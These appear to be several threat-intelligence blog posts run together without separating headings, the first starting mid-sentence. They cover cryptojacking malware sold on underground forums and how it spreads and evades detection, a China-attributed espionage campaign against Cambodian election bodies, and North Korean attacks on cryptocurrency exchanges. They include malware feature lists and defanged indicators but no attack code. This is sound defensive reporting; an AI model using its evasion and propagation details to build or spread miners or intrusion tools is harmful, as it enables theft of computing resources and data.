(DDoS) capabilities.
Sample Advertisement #1 (Smart Miner + Builder)
In early April 2018, actor "Mon£y" was observed by FireEye
iSIGHT Intelligence selling a Monero miner for $80 USD – payable via
Bitcoin, Bitcoin Cash, Ether, Litecoin, or Monero – that included
unlimited builds, free automatic updates, and 24/7 support. The tool,
dubbed Monero Madness (Figure 3), featured a setting called Madness
Mode that configures the miner to only run when the infected machine
is idle for at least 60 seconds. This allows the miner to work at its
full potential without running the risk of being identified by the
user. According to the actor, Monero Madness also provides the
following features:
In March 2018, FireEye iSIGHT Intelligence observed actor
"kent9876" advertising a Monero cryptocurrency miner called
Goldig Miner (Figure 5). The actor requested payment of $23 USD for
either CPU or GPU build or $50 USD for both. Payments could be made
with Bitcoin, Ether, Litecoin, Dash, or PayPal. The miner ostensibly
offers the following features:
Written in C/C++
Build size is small (about 100–150 kB)
Hides miner
process from popular task managers
Can run without
Administrator privileges (user-mode)
In March 2018, FireEye iSIGHT Intelligence observed actor
"TH3FR3D" offering a tool dubbed Felix (Figure 6) that
combines a cryptocurrency miner and credential stealer. The actor
requested payment of $50 USD payable via Bitcoin or Ether. According
to the advertisement, the Felix tool boasted the following features:
Written in C# (Version
1.0.1.0)
Browser stealer for all major browsers (cookies,
saved passwords, auto-fill)
Monero miner (uses
minergate.com pool by default, but can be configured)
Filezilla stealer
Desktop file grabber (.txt and
more)
Can download and execute files
Update
ability
USB spreader functionality
PHP web
panel
Figure 6: Felix HTTP
Sample Advertisement #4 (Miner + RAT)
In January 2018, FireEye iSIGHT Intelligence observed actor
"ups" selling a miner for any Cryptonight-based
cryptocurrency (e.g., Monero and Dashcoin) for either Linux or Windows
operating systems. In addition to being a miner, the tool allegedly
provides local privilege escalation through the CVE-2016-0099
exploit, can download and execute remote files, and receive commands.
Buyers could purchase the Windows or Linux tool for €200 EUR, or €325
EUR for both the Linux and Windows builds, payable via Monero,
bitcoin, ether, or dash. According to the actor, the tool offered the following:
Windows Build Specifics
Written in C++ (no
dependencies)
Miner component based on XMRig
Easy
cryptor and VPS hosting options
Web panel (Figure 7)
Uses TLS for secured communication
Download and
execute
Auto-update ability
Cleanup routine
Receive remote commands
Perform privilege
escalation
Features "game mode" (mining stops if
user plays game)
Proxy feature (based on XMRig)
Support (for €20/month)
Kills other miners from
list
Hidden from TaskManager
Configurable pool,
coin, and wallet (via panel)
Can mine the following
Cryptonight-based coins:
Monero
Bytecoin
Electroneum
DigitalNote
Karbowanec
Sumokoin
Fantomcoin
Dinastycoin
Dashcoin
LeviarCoin
BipCoin
QuazarCoin
Bitcedi
Linux Build Specifics
Issues running on Linux
servers (higher performance on desktop OS)
Compatible with
AMD64 processors on Ubuntu, Debian, Mint (support for CentOS
later)
Figure 7: Miner bot web panel
Sample Advertisement #5 (Miner + USB Spreader + DDoS Tool)
In August 2017, actor "MeatyBanana" was observed by
FireEye iSIGHT Intelligence selling a Monero miner utility that
included the ability to download and execute files and perform DDoS
attacks. The actor offered the software for $30 USD, payable via
Bitcoin. Ostensibly, the tool works with CPUs only and offers the
following features:
Configurable miner pool
and port (default to minergate)
Compatible with both 64-
and 86-bit Windows OS
Hides from the following popular task
managers:
Windows Task Manager
Process Killer
KillProcess
System Explorer
Process
Explorer
AnVir
Process Hacker
Masked as a
system driver
Does not require administrator
privileges
No dependencies
Registry persistence
mechanism
Ability to perform "tasks" (download and
execute files, navigate to a site, and perform DDoS)
USB
spreader
Support after purchase
The Cost of Cryptojacking
The presence of mining software on a network can generate costs on
three fronts as the miner surreptitiously allocates resources:
Degradation in system
performance
Increased cost in electricity
Potential
exposure of security holes
Cryptojacking targets computer processing power, which can lead to
high CPU load and degraded performance. In extreme cases, CPU overload
may even cause the operating system to crash. Infected machines may
also attempt to infect neighboring machines and therefore generate
large amounts of traffic that can overload victims' computer networks.
In the case of operational technology (OT) networks, the
consequences could be severe. Supervisory control and data
acquisition/industrial control systems (SCADA/ICS) environments
predominately rely on decades-old hardware and low-bandwidth networks,
therefore even a slight increase in CPU load or the network could
leave industrial infrastructures unresponsive, impeding operators from
interacting with the controlled process in real-time.
The electricity cost, measured in kilowatt hour (kWh), is dependent
upon several factors: how often the malicious miner software is
configured to run, how many threads it's configured to use while
running, and the number of machines mining on the victim's network.
The cost per kWh is also highly variable and depends on geolocation.
For example, security researchers who ran Coinhive on a machine for 24
hours found that the electrical consumption was 1.212kWh. They
estimated that this equated to electrical costs per month of $10.50
USD in the United States, $5.45 USD in Singapore, and $12.30 USD in Germany.
Cryptojacking can also highlight often overlooked security holes in
a company's network. Organizations infected with cryptomining malware
are also likely vulnerable to more severe exploits and attacks,
ranging from ransomware to ICS-specific malware such as TRITON.
Cryptocurrency Miner Distribution Techniques
In order to maximize profits, cyber criminals widely disseminate
their miners using various techniques such as incorporating
cryptojacking modules into existing botnets, drive-by cryptomining
attacks, the use of mobile apps containing cryptojacking code, and
distributing cryptojacking utilities via spam and self-propagating
utilities. Threat actors can use cryptojacking to affect numerous
devices and secretly siphon their computing power. Some of the most
commonly observed devices targeted by these cryptojacking schemes are:
User endpoint
machines
Enterprise servers
Websites
Mobile
devices
Industrial control systems
Cryptojacking in the Cloud
Private sector companies and governments alike are increasingly moving
their data and applications to the cloud, and cyber threat
groups have been moving with them. Recently, there have been various
reports of actors conducting cryptocurrency mining operations
specifically targeting cloud infrastructure. Cloud infrastructure is
increasingly a target for cryptojacking operations because it offers
actors an attack surface with large amounts of processing power in an
environment where CPU usage and electricity costs are already expected
to be high, thus allowing their operations to potentially go
unnoticed. We assess with high confidence that threat actors will
continue to target enterprise cloud networks in efforts to harness
their collective computational resources for the foreseeable future.
The following are some real-world examples of cryptojacking in the cloud:
In February 2018, FireEye
researchers published a blog detailing various techniques actors
used in order to deliver malicious miner payloads (specifically to
vulnerable Oracle servers) by abusing CVE-2017-10271. Refer to our
blog post for more detailed information regarding the post-exploitation
and pre-mining dissemination techniques used in those
campaigns.
In March 2018, Bleeping
Computer reported on the trend of cryptocurrency mining
campaigns moving to the cloud via vulnerable Docker and Kubernetes
applications, which are two software tools used by developers to
help scale a company's cloud infrastructure. In most cases,
successful attacks occur due to misconfigured applications and/or
weak security controls and passwords.
In February 2018, Bleeping
Computer also reported on hackers who breached Tesla's cloud
servers to mine Monero. Attackers identified a Kubernetes console
that was not password protected, allowing them to discover login
credentials for the broader Tesla Amazon Web services (AWS) S3 cloud
environment. Once the attackers gained access to the AWS environment
via the harvested credentials, they effectively launched their
cryptojacking operations.
Reports of cryptojacking activity
due to misconfigured AWS S3 cloud storage buckets have also been
observed, as was the case in the LA
Times online compromise in February 2018. The presence of
vulnerable AWS S3 buckets allows anyone on the internet to access
and change hosted content, including the ability to inject mining
scripts or other malicious software.
Incorporation of Cryptojacking into Existing Botnets
FireEye iSIGHT Intelligence has observed multiple prominent botnets
such as Dridex and Trickbot incorporate cryptocurrency mining into
their existing operations. Many of these families are modular in
nature and have the ability to download and execute remote files, thus
allowing the operators to easily turn their infections into
cryptojacking bots. While these operations have traditionally been
aimed at credential theft (particularly of banking credentials),
adding mining modules or downloading secondary mining payloads
provides the operators another avenue to generate additional revenue
with little effort. This is especially true in cases where the victims
were deemed unprofitable or have already been exploited in the
original scheme.
The following are some real-world examples of cryptojacking being
incorporated into existing botnets:
In early February 2018,
FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download
a Monero cryptocurrency miner based on the open-source XMRig
miner.
On Feb. 12, 2018, FireEye iSIGHT Intelligence observed
the banking malware IcedID injecting Monero-mining JavaScript into
webpages for specific, targeted URLs. The IcedID injects launched an
anonymous miner using the mining code from Coinhive's
AuthedMine.
In late 2017, Bleeping
Computer reported that security researchers with Radware
observed the hacking group CodeFork leveraging the popular
downloader Andromeda (aka Gamarue) to distribute a miner module to
their existing botnets.
In late 2017, FireEye researchers
observed Trickbot operators deploy a new module named
"testWormDLL" that is a statically compiled copy of the
popular XMRig Monero miner.
On Aug. 29, 2017, Security
Week reported on a variant of the popular Neutrino banking
Trojan, including a Monero miner module. According to their
reporting, the new variant no longer aims at stealing bank card
data, but instead is limited to downloading and executing modules
from a remote server.
Drive-By Cryptojacking
In-Browser
FireEye iSIGHT Intelligence has examined various customer reports of
browser-based cryptocurrency mining. Browser-based mining scripts have
been observed on compromised websites, third-party advertising
platforms, and have been legitimately placed on websites by
publishers. While coin mining scripts can be embedded directly into a
webpage's source code, they are frequently loaded from third-party
websites. Identifying and detecting websites that have embedded coin
mining code can be difficult since not all coin mining scripts are
authorized by website publishers, such as in the case of a compromised
website. Further, in cases where coin mining scripts were authorized
by a website owner, they are not always clearly communicated to site
visitors. At the time of reporting, the most popular script being
deployed in the wild is Coinhive. Coinhive is an open-source
JavaScript library that, when loaded on a vulnerable website, can mine
Monero using the site visitor's CPU resources, unbeknownst to the
user, as they browse the site.
The following are some real-world examples of Coinhive being
deployed in the wild:
In September 2017, Bleeping
Computer reported that the authors of SafeBrowse, a Chrome
extension with more than 140,000 users, had embedded the Coinhive
script in the extension's code that allowed for the mining of Monero
using users' computers and without getting their consent.
During mid-September 2017, users
on Reddit began complaining about increased CPU usage when
they navigated to a popular torrent site, The Pirate Bay (TPB). The
spike in CPU usage was a result of Coinhive's script being embedded
within the site's footer. According to TPB operators, it was
implemented as a test to generate passive revenue for the site
(Figure 8).
In December 2017, researchers with Sucuri
reported on the presence of the Coinhive script being hosted on
GitHub.io, which allows users to publish web pages directly from
GitHub repositories.
Other reporting disclosed the Coinhive
script being embedded on the Showtime
domain as well as on the LA
Times website, both surreptitiously mining Monero.
A
majority of in-browser cryptojacking activity is transitory in
nature and will last only as long as the user’s web browser is open.
However, researchers
with Malwarebytes Labs uncovered a technique that allows for
continued mining activity even after the browser window is closed.
The technique leverages a pop-under window surreptitiously hidden
under the taskbar. As researchers pointed out, closing the browser
window may not be enough to interrupt the activity, and that more
advanced actions like running the Task Manager may be required.
Figure 8: Statement from TPB operators on
Coinhive script
Malvertising and Exploit Kits
Malvertisements – malicious ads on legitimate websites – commonly
redirect visitors of a site to an exploit kit landing page. These
landing pages are designed to scan a system for vulnerabilities,
exploit those vulnerabilities, and download and execute malicious code
onto the system. Notably, the malicious advertisements can be placed
on legitimate sites and visitors can become infected with little to no
user interaction. This distribution tactic is commonly used by threat
actors to widely distribute malware and has been employed in various
cryptocurrency mining operations.
The following are some real-world examples of this activity:
In early 2018, researchers
with Trend Micro reported that a modified miner script was
being disseminated across YouTube via Google's DoubleClick ad
delivery platform. The script was configured to generate a random
number variable between 1 and 100, and when the variable was above
10 it would launch the Coinhive script coinhive.min.js, which
harnessed 80 percent of the CPU power to mine Monero. When the
variable was below 10 it launched a modified Coinhive script that
was also configured to harness 80 percent CPU power to mine Monero.
This custom miner connected to the mining pool
wss[:]//ws[.]l33tsite[.]info:8443, which was likely done to avoid
Coinhive's fees.
In April 2018, researchers with Trend
Micro also discovered a JavaScript code based on Coinhive
injected into an AOL ad platform. The miner used the following
private mining pools: wss[:]//wsX[.]www.datasecu[.]download/proxy
and wss[:]//www[.]jqcdn[.]download:8893/proxy. Examination of other
sites compromised by this campaign showed that in at least some
cases the operators were hosting malicious content on unsecured AWS
S3 buckets.
Since July 16, 2017, FireEye
has observed the Neptune Exploit Kit redirect to ads for
hiking clubs and MP3 converter domains. Payloads associated with the
latter include Monero CPU miners that are surreptitiously installed
on victims' computers.
In January 2018, Check
Point researchers discovered a malvertising campaign leading
to the Rig Exploit Kit, which served the XMRig Monero miner utility
to unsuspecting victims.
Mobile Cryptojacking
In addition to targeting enterprise servers and user machines,
threat actors have also targeted mobile devices for cryptojacking
operations. While this technique is less common, likely due to the
limited processing power afforded by mobile devices, cryptojacking on
mobile devices remains a threat as sustained power consumption can
damage the device and dramatically shorten the battery life. Threat
actors have been observed targeting mobile devices by hosting
malicious cryptojacking apps on popular app stores and through
drive-by malvertising campaigns that identify users of mobile browsers.
The following are some real-world examples of mobile devices being
used for cryptojacking:
During 2014, FireEye
iSIGHT Intelligence reported on multiple Android malware apps
capable of mining cryptocurrency:
In March 2014, Android
malware named "CoinKrypt" was discovered, which mined
Litecoin, Dogecoin, and CasinoCoin currencies.
In March
2014, another form of Android malware –
"Android.Trojan.MuchSad.A" or
"ANDROIDOS_KAGECOIN.HBT" – was observed mining
Bitcoin, Litecoin, and Dogecoin currencies. The malware was
disguised as copies of popular applications, including
"Football Manager Handheld" and "TuneIn
Radio." Variants of this malware have reportedly been
downloaded by millions of Google Play users.
In April
2014, Android malware named "BadLepricon," which mined
Bitcoin, was identified. The malware was reportedly being
bundled into wallpaper applications hosted on the Google Play
store, at least several of which received 100 to 500
installations before being removed.
In October 2014, a
type of mobile malware called "Android Slave" was
observed in China; the malware was reportedly capable of mining
multiple virtual currencies.
In December
2017, researchers
with Kaspersky Labs reported on a new multi-faceted Android
malware capable of a variety of actions including mining
cryptocurrencies and launching DDoS attacks. The resource load
created by the malware has reportedly been high enough that it can
cause the battery to bulge and physically destroy the device. The
malware, dubbed Loapi, is unique in the breadth of its potential
actions. It has a modular framework that includes modules for
malicious advertising, texting, web crawling, Monero mining, and
other activities. Loapi is thought to be the work of the same
developers behind the 2015 Android malware Podec, and is usually
disguised as an anti-virus app.
In January 2018, SophosLabs
released a report detailing their discovery of 19 mobile apps
hosted on Google Play that contained embedded Coinhive-based
cryptojacking code, some of which were downloaded anywhere from
100,000 to 500,000 times.
Between November 2017 and January
2018, researchers
with Malwarebytes Labs reported on a drive-by cryptojacking
campaign that affected millions of Android mobile browsers to mine
Monero.
Cryptojacking Spam Campaigns
FireEye iSIGHT Intelligence has observed several cryptocurrency
miners distributed via spam campaigns, which is a commonly used tactic
to indiscriminately distribute malware. We expect malicious actors
will continue to use this method to disseminate cryptojacking code as
for long as cryptocurrency mining remains profitable.
In late November 2017, FireEye researchers identified a spam
campaign delivering a malicious PDF attachment designed to appear as a
legitimate invoice from the largest port and container service in New
Zealand: Lyttelton Port of Chistchurch (Figure 9). Once opened, the
PDF would launch a PowerShell script that downloaded a Monero miner
from a remote host. The malicious miner connected to the pools
supportxmr.com and nanopool.org.
Additionally, a massive cryptojacking spam campaign was discovered
by FireEye researchers during January 2018 that was designed to look
like legitimate financial services-related emails. The spam email
directed victims to an infection link that ultimately dropped a
malicious ZIP file onto the victim's machine. Contained within the ZIP
file was a cryptocurrency miner utility (MD5:
80b8a2d705d5b21718a6e6efe531d493) configured to mine Monero and
connect to the minergate.com pool. While each of the spam email lures
and associated ZIP filenames were different, the same cryptocurrency
miner sample was dropped across all observed instances (Table 2).
Table 2: Sampling of observed ZIP filenames
delivering cryptocurrency miner
Cryptojacking Worms
Following the WannaCry attacks, actors began to increasingly
incorporate self-propagating functionality within their malware. Some
of the observed self-spreading techniques have included copying to
removable drives, brute forcing SSH logins, and leveraging the leaked
NSA exploit EternalBlue.
Cryptocurrency mining operations significantly benefit from this
functionality since wider distribution of the malware multiplies the
amount of CPU resources available to them for mining. Consequently, we
expect that additional actors will continue to develop this capability.
The following are some real-world examples of cryptojacking worms:
In May 2017, Proofpoint
reported a large campaign distributing mining malware
"Adylkuzz." This cryptocurrency miner was observed
leveraging the EternalBlue exploit to rapidly spread itself over
corporate LANs and wireless networks. This activity included the use
of the DoublePulsar backdoor to download Adylkuzz. Adylkuzz
infections create botnets of Windows computers that focus on mining
Monero.
Security researchers with Sensors
identified a Monero miner worm, dubbed "Rarogminer,"
in April 2018 that would copy itself to removable drives each time a
user inserted a flash drive or external HDD.
In January
2018, researchers
at F5 discovered a new Monero cryptomining botnet that targets
Linux machines. PyCryptoMiner is based on Python script and spreads
via the SSH protocol. The bot can also use Pastebin for its command
and control (C2) infrastructure. The malware spreads by trying to
guess the SSH login credentials of target Linux systems. Once that
is achieved, the bot deploys a simple base64-encoded Python script
that connects to the C2 server to download and execute more
malicious Python code.
Detection Avoidance Methods
Another trend worth noting is the use of proxies to avoid detection.
The implementation of mining proxies presents an attractive option for
cyber criminals because it allows them to avoid developer and
commission fees of 30 percent or more. Avoiding the use of common
cryptojacking services such as Coinhive, Cryptloot, and Deepminer, and
instead hosting cryptojacking scripts on actor-controlled
infrastructure, can circumvent many of the common strategies taken to
block this activity via domain or file name blacklisting.
In March 2018, Bleeping
Computer reported on the use of cryptojacking proxy servers and
determined that as the use of cryptojacking proxy services increases,
the effectiveness of ad blockers and browser extensions that rely on
blacklists decreases significantly.
Several mining proxy tools can be found on GitHub, such as the XMRig Proxy tool,
which greatly reduces the number of active pool connections, and the
CoinHive
Stratum Mining Proxy, which uses Coinhive’s JavaScript mining
library to provide an alternative to using official Coinhive scripts
and infrastructure.
In addition to using proxies, actors may also establish their own
self-hosted miner apps, either on private servers or cloud-based
servers that supports Node.js. Although private servers may provide
some benefit over using a commercial mining service, they are still
subject to easy blacklisting and require more operational effort to
maintain. According to Sucuri
researchers, cloud-based servers provide many benefits to actors
looking to host their own mining applications, including:
Available free or at
low-cost
No maintenance, just upload the crypto-miner
app
Harder to block as blacklisting the host address could
potentially impact access to legitimate services
Resilient
to permanent takedown as new hosting accounts can more easily be
created using disposable accounts
The combination of proxies and crypto-miners hosted on
actor-controlled cloud infrastructure presents a significant hurdle to
security professionals, as both make cryptojacking operations more
difficult to detect and take down.
Mining Victim Demographics
Based on data from FireEye detection technologies, the detection of
cryptocurrency miner malware has increased significantly since the
beginning of 2018 (Figure 10), with the most popular mining pools
being minergate and nanopool (Figure 11), and the most heavily
affected country being the U.S. (Figure 12). Consistent with other
reporting, the education sector remains most affected, likely due
to more relaxed security controls across university networks and
students taking advantage of free electricity to mine cryptocurrencies
(Figure 13).
Figure 10: Cryptocurrency miner detection
activity per month
Figure 11: Commonly observed pools and
associated ports
Figure 12: Top 10 affected countries
Figure 13: Top five affected industries
Figure 14: Top affected industries by country
Mitigation Techniques
Unencrypted Stratum Sessions
According to security researchers at Cato Networks, in order for a
miner to participate in pool mining, the infected machine will have to
run native or JavaScript-based code that uses the Stratum protocol
over TCP or HTTP/S. The Stratum protocol uses a publish/subscribe
architecture where clients will send subscription requests to join a
pool and servers will send messages (publish) to its subscribed
clients. These messages are simple, readable, JSON-RPC messages.
Subscription requests will include the following entities: id, method,
and params (Figure 15). A deep packet inspection (DPI) engine can be
configured to look for these parameters in order to block Stratum over
unencrypted TCP.
In the case of JavaScript-based miners running Stratum over HTTPS,
detection is more difficult for DPI engines that do not decrypt TLS
traffic. To mitigate encrypted mining traffic on a network,
organizations may blacklist the IP addresses and domains of popular
mining pools. However, the downside to this is identifying and
updating the blacklist, as locating a reliable and continually updated
list of popular mining pools can prove difficult and time consuming.
Browser-Based Sessions
Identifying and detecting websites that have embedded coin mining
code can be difficult since not all coin mining scripts are authorized
by website publishers (as in the case of a compromised website).
Further, in cases where coin mining scripts were authorized by a
website owner, they are not always clearly communicated to site visitors.
As defenses evolve to prevent unauthorized coin mining activities,
so will the techniques used by actors; however, blocking some of the
most common indicators that we have observed to date may be effective
in combatting a significant amount of the CPU-draining mining
activities that customers have reported. Generic detection strategies
for browser-based cryptocurrency mining include:
Blocking domains known to
have hosted coin mining scripts
Blocking websites of known
mining project websites, such as Coinhive
Blocking scripts
altogether
Using an ad-blocker or coin mining-specific
browser add-ons
Detecting commonly used naming
conventions
Alerting and blocking traffic destined for known
popular mining pools
Some of these detection strategies may also be of use in blocking
some mining functionality included in existing financial malware as
well as mining-specific malware families.
It is important to note that JavaScript used in browser-based
cryptojacking activity cannot access files on disk. However, if a host
has inadvertently navigated to a website hosting mining scripts, we
recommend purging cache and other browser data.
Outlook
In underground communities and marketplaces there has been
significant interest in cryptojacking operations, and numerous
campaigns have been observed and reported by security researchers.
These developments demonstrate the continued upward trend of threat
actors conducting cryptocurrency mining operations, which we expect to
see a continued focus on throughout 2018. Notably, malicious
cryptocurrency mining may be seen as preferable due to the perception
that it does not attract as much attention from law enforcement as
compared to other forms of fraud or theft. Further, victims may not
realize their computer is infected beyond a slowdown in system performance.
Due to its inherent privacy-focused features and CPU-mining
profitability, Monero has become one of the most attractive
cryptocurrency options for cyber criminals. We believe that it will
continue to be threat actors' primary cryptocurrency of choice, so
long as the Monero blockchain maintains privacy-focused standards and
is ASIC-resistant. If in the future the Monero protocol ever
downgrades its security and privacy-focused features, then we assess
with high confidence that threat actors will move to use another
privacy-focused coin as an alternative.
Because of the anonymity associated with the Monero cryptocurrency
and electronic wallets, as well as the availability of numerous
cryptocurrency exchanges and tumblers, attribution of malicious
cryptocurrency mining is very challenging for authorities, and
malicious actors behind such operations typically remain unidentified.
Threat actors will undoubtedly continue to demonstrate high interest
in malicious cryptomining so long as it remains profitable and
relatively low risk.
FireEye has examined a range of TEMP.Periscope activity revealing
extensive interest in Cambodia's politics, with active compromises of
multiple Cambodian entities related to the country’s electoral system.
This includes compromises of Cambodian government entities charged
with overseeing the elections, as well as the targeting of opposition
figures. This campaign occurs in the run up to the country’s July 29,
2018, general elections. TEMP.Periscope used the same infrastructure
for a range of activity against other more traditional targets,
including the defense industrial base in the United States and a
chemical company based in Europe. Our previous blog post focused on
the group’s targeting
of engineering and maritime entities in the United States.
Overall, this activity indicates that the group maintains an
extensive intrusion architecture and wide array of malicious tools,
and targets a large victim set, which is in line with typical
Chinese-based APT efforts. We expect this activity to provide the
Chinese government with widespread visibility into Cambodian elections
and government operations. Additionally, this group is clearly able to
run several large-scale intrusions concurrently across a wide range of
victim types.
Our analysis also strengthened our overall attribution of this
group. We observed the toolsets we previously attributed to this
group, their observed targets are in line with past group efforts and
also highly similar to known Chinese APT efforts, and we identified an
IP address originating in Hainan, China that was used to remotely
access and administer a command and control (C2) server.
TEMP.Periscope Background
Active since at least 2013, TEMP.Periscope has primarily focused on
maritime-related targets across multiple verticals, including
engineering firms, shipping and transportation, manufacturing,
defense, government offices, and research universities (targeting is
summarized in Figure 1). The group has also targeted
professional/consulting services, high-tech industry, healthcare, and
media/publishing. TEMP.Periscope overlaps in targeting, as well as
tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group
that also overlaps significantly with public reporting by Proofpoint
and F-Secure
on "NanHaiShu."
Figure 1: Summary of TEMP.Periscope activity
Incident Background
FireEye analyzed files on three open indexes believed to be
controlled by TEMP.Periscope, which yielded insight into the group's
objectives, operational tactics, and a significant amount of technical
attribution/validation. These files were "open indexed" and
thus accessible to anyone on the public internet. This TEMP.Periscope
activity on these servers extends from at least April 2017 to the
present, with the most current operations focusing on Cambodia's
government and elections.
Two servers,
chemscalere[.]com and scsnewstoday[.]com, operate as typical C2
servers and hosting sites, while the third, mlcdailynews[.]com,
functions as an active SCANBOX server. The C2 servers contained both
logs and malware.
Analysis of logs from the three servers
revealed:
Potential actor logins from an IP address
located in Hainan, China that was used to remotely access and
administer the servers, and interact with malware deployed at
victim organizations.
Malware command and control
check-ins from victim organizations in the education, aviation,
chemical, defense, government, maritime, and technology sectors
across multiple regions. FireEye has notified all of the victims
that we were able to identify.
The malware
present on the servers included both new families (DADBOD, EVILTECH)
and previously identified malware families (AIRBREAK, EVILTECH,
HOMEFRY, MURKYTOP, HTRAN, and SCANBOX) .
Compromises of Cambodian Election Entities
Analysis of command and control logs on the servers revealed
compromises of multiple Cambodian entities, primarily those relating
to the upcoming July 2018 elections. In addition, a separate spear
phishing email analyzed by FireEye indicates concurrent targeting of
opposition figures within Cambodia by TEMP.Periscope.
Analysis indicated that the following Cambodian government
organizations and individuals were compromised by TEMP.Periscope:
National Election
Commission, Ministry of the Interior, Ministry of Foreign Affairs
and International Cooperation, Cambodian Senate, Ministry of
Economics and Finance
Member of Parliament representing
Cambodia National Rescue Party
Multiple Cambodians
advocating human rights and democracy who have written critically of
the current ruling party
Two Cambodian diplomats serving
overseas
Multiple Cambodian media entities
TEMP.Periscope sent a spear phish with AIRBREAK malware to
Monovithya Kem, Deputy Director-General, Public Affairs, Cambodia
National Rescue Party (CNRP), and the daughter of (imprisoned)
Cambodian opposition party leader Kem Sokha (Figure 2). The decoy
document purports to come from LICADHO (a non-governmental
organization [NGO] in Cambodia established in 1992 to promote human
rights). This sample leveraged scsnewstoday[.]com for C2.
Figure 2: Human right protection survey lure
The decoy document "Interview Questions.docx" (MD5:
ba1e5b539c3ae21c756c48a8b5281b7e) is tied to AIRBREAK downloaders of
the same name. The questions reference the opposition Cambodian
National Rescue Party, human rights, and the election (Figure 3).
Figure 3: Interview questions decoy
Infrastructure Also Used for Operations Against Private Companies
The aforementioned malicious infrastructure was also used against
private companies in Asia, Europe and North America. These companies
are in a wide range of industries, including academics, aviation,
chemical, maritime, and technology. A MURKYTOP sample from 2017 and
data contained in a file linked to chemscalere[.]com suggest that a
corporation involved in the U.S. defense industrial base (DIB)
industry, possibly related to maritime research, was compromised. Many
of these compromises are in line with TEMP.Periscope’s previous
activity targeting maritime and defense industries. However, we also
uncovered the compromise of a European chemical company with a
presence in Asia, demonstrating that this group is a threat to
business worldwide, particularly those with ties to Asia.
AIRBREAK Downloaders and Droppers Reveal Lure Indicators
Filenames for AIRBREAK downloaders found on the open indexed sites
also suggest the ongoing targeting of interests associated with Asian
geopolitics. In addition, analysis of AIRBREAK downloader sites
revealed a related server that underscores TEMP.Periscope's interest
in Cambodian politics.
The AIRBREAK downloaders in Table 1 redirect intended victims to the
indicated sites to display a legitimate decoy document while
downloading an AIRBREAK payload from one of the identified C2s. Of
note, the hosting site for the legitimate documents was not
compromised. An additional C2 domain, partyforumseasia[.]com, was
identified as the callback for an AIRBREAK downloader referencing the
Cambodian National Rescue Party.
Figure 4: Decoy document associated with
AIRBREAK downloader file TOP_NEWS_Japan_to_Support_the_Election.js
SCANBOX Activity Gives Hints to Future Operations
The active SCANBOX server, mlcdailynews[.]com, is hosting articles
related to the current Cambodian campaign and broader operations.
Articles found on the server indicate targeting of those with
interests in U.S.-East Asia geopolitics, Russia and NATO affairs.
Victims are likely either brought to the SCANBOX server via strategic
website compromise or malicious links in targeted emails with the
article presented as decoy material. The articles come from
open-source reporting readily available online. Figure 5 is a SCANBOX
welcome page and Table 2 is a list of the articles found on the server.
Figure 5: SCANBOX welcome page
Copied Article Topic
Article Source (Not Compromised)
Leaders confident yet nervous
Khmer Times
Mahathir_ 'We want to be friendly with
China
PM urges voters to support CPP for peace
CPP determined to maintain Kingdom's peace and
development
Bun Chhay's wife dies at 60
Crackdown planned on boycott callers
Further floods coming to Kingdom
Kem Sokha again denied bail
PM vows to stay on as premier to quash
traitors
Iran_ Don't trust Trump
Fresh News
Kim-Trump summit_ Singapore's role
Trump's North Korea summit may bring peace
declaration - but at a cost
Reuters
U.S. pushes NATO to ready more forces to deter
Russian threat
Analysis of the malware inventory contained on the three servers
found a classic suite of TEMP.Periscope payloads, including the
signature AIRBREAK, MURKYTOP, and HOMEFRY. In addition, FireEye’s
analysis identified new tools, EVILTECH and DADBOD (Table 3).
Malware
Function
Details
EVILTECH
Backdoor
EVILTECH is a
JavaScript sample that implements a simple RAT with support
for uploading, downloading, and running arbitrary
JavaScript.
During the infection process, EVILTECH is
run on the system, which then causes a redirect and possibly
the download of additional malware or connection to another
attacker-controlled system.
DADBOD
Credential
Theft
DADBOD is a tool
used to steal user cookies.
Analysis of this
malware is still ongoing.
Table 3: New additions to the TEMP.Periscope
malware suite
Data from Logs Strengthens Attribution to China
Our analysis of the servers and surrounding data in this latest
campaign bolsters our previous assessment that TEMP.Periscope is
likely Chinese in origin. Data from a control panel access log
indicates that operators are based in China and are operating on
computers with Chinese language settings.
A log on the server revealed IP addresses that had been used to log
in to the software used to communicate with malware on victim
machines. One of the IP addresses, 112.66.188.28, is located in
Hainan, China. Other addresses belong to virtual private servers, but
artifacts indicate that the computers used to log in all cases are
configured with Chinese language settings.
Outlook and Implications
The activity uncovered here offers new insight into TEMP.Periscope’s
activity. We were previously aware of this actor’s interest in
maritime affairs, but this compromise gives additional indications
that it will target the political system of strategically important
countries. Notably, Cambodia has served as a reliable supporter of
China’s South China Sea position in international forums such as ASEAN
and is an important partner. While Cambodia is rated as Authoritarian
by the Economist’s Democracy Index, the recent surprise upset of the
ruling party in Malaysia may motivate China to closely monitor
Cambodia’s July 29 elections.
The targeting of the election commission is particularly
significant, given the critical role it plays in facilitating voting.
There is not yet enough information to determine why the organization
was compromised – simply gathering intelligence or as part of a more
complex operation. Regardless, this incident is the most recent
example of aggressive nation-state intelligence collection on election
processes worldwide.
We expect TEMP.Periscope to continue targeting a wide range of
government and military agencies, international organizations, and
private industry. However focused this group may be on maritime
issues, several incidents underscore their broad reach, which has
included European firms doing business in Southeast Asia and the
internal affairs of littoral nations. FireEye expects TEMP.Periscope
will remain a virulent threat for those operating in the area for the
foreseeable future.
In 2016 we began observing actors we believe to be North Korean
utilizing their intrusion capabilities to conduct cyber crime,
targeting banks and the global financial system. This marked a
departure from previously observed activity of North Korean actors
employing cyber espionage for traditional nation state activities.
Yet, given North Korea's position as a pariah nation cut off from much
of the global economy – as well as a nation that employs a government
bureau to conduct illicit
economic activity – this is not all that surprising. With North
Korea's tight control of its military and intelligence capabilities,
it is likely that this activity was carried out to fund the state or
personal coffers of Pyongyang's elite, as international sanctions have
constricted the Hermit Kingdom.
Now, we may be witnessing a second wave of this campaign:
state-sponsored actors seeking to steal bitcoin and other virtual
currencies as a means of evading sanctions and obtaining hard
currencies to fund the regime. Since May 2017, Mandiant experts observed North Korean actors
target at least three South Korean cryptocurrency exchanges with the
suspected intent of stealing funds. The spearphishing we have observed
in these cases often targets personal email accounts of employees at
digital currency exchanges, frequently using tax-themed lures and
deploying malware (PEACHPIT
and similar variants) linked to North Korean actors suspected to be
responsible for intrusions into global banks in 2016.
Add to that the ties between North Korean operators and a watering
hole compromise of a bitcoin news site in 2016, as well as at least
one instance of usage of a surreptitious
cryptocurrency miner, and we begin to see a picture of North
Korean interest in cryptocurrencies, an asset class in which bitcoin
alone has increased over 400% since the beginning of this year.
